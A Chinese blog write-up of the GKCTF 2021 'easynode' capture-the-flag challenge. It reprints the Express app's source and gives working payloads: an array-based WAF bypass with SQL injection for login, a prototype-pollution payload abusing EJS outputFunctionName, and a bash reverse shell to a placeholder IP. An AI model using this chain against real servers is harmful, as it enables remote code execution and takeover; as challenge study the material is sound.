当前位置:网站首页>[GKCTF 2021]easynode
[GKCTF 2021]easynode
2022-07-25 09:19:00 【怪小生失了神】
开局是登录页面
题目也给出了源码就看源码的index.js
const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
// 过滤username和password中的危险字符
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
// 配合waf函数把黑名单里的危险字符依次替换为 * 但是是== 弱类型比较
//
//
// 这里操作就可以让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF
// 再通过WAF中拼凑操作 因为JS中,如果两个数组相加 最后的数组被转换为一个字符串
// 要注意这里post的username数组长度一定要长 不然无法登录
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
// 让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1\"');var __tmp2"}} 进行 extend 操作
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
// 思路: username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token,
// 总的操作就是 login里面用绕过获得token 再去addAdmin创建用户 最后获取__proto__用户的token 用token去adminDIV POST data数据污染 然后再去admin就能反弹shell
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
app.listen(1337, () => {
console.log(`App listening at port 1337`)
}) 代码分析的操作都在代码里的注释了
获取token的WAF弱比较绕过
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456
POST反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20这里写base64后的受害者语句%3D%7Cbase64%20-d%7Cbash');var __tmp2"}上面说的受害者语句 就用下面的去转base64
bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1"
两天干这一道题 对不起我是fw
边栏推荐
- sqli-labs安装 环境:ubuntu18 php7
- MySQL的索引、视图与事务
- Comparison between symmetric encryption and asymmetric encryption
- Excl batch import data, background public parsing method
- 神经网络学习(1)前言介绍
- In mysql, update and select are used together
- 深入理解static关键字
- uni-app - Refused to display ‘xxx‘ in a frame because an ancestor violates the following Content Sec
- C#语言和SQL Server数据库技术
- ActiveMQ -- JDBC Journal of persistent mechanism
猜你喜欢
随机推荐
[SCADA case] myscada helps VIB company realize the modernization and upgrading of production line
Redis的十大常见应用场景
How can technologists start their personal brand? Exclusive teaching of top five KOLs
sql注入
Dark horse programmer JDBC
『每日一问』volatile干嘛的
ActiveMQ -- kahadb of persistent mechanism
C#语言和SQL Server数据库技术
activemq--可持久化机制之KahaDB
『每日一问』ReentrantLock加锁解锁
Silicon Valley classroom lesson 12 - official account on demand course and live broadcast management module
sqli-labs Basic Challenges Less1-10
activemq--延迟投递和定时投递
[common tools] obtain system status information based on psutil and gputil
实现简单的RESTful API服务器
数据库操作语言(DML)
@Scheduled源码解析
Activemq-- asynchronous delivery
OverTheWire-Bandit
[buuctf-n1book][Chapter 2 advanced web]ssrf training




![[BUUCTF-n1book][第二章 web进阶]SSRF Training](/img/29/8894d04b27e0e73c4458c27bd9b935.png)




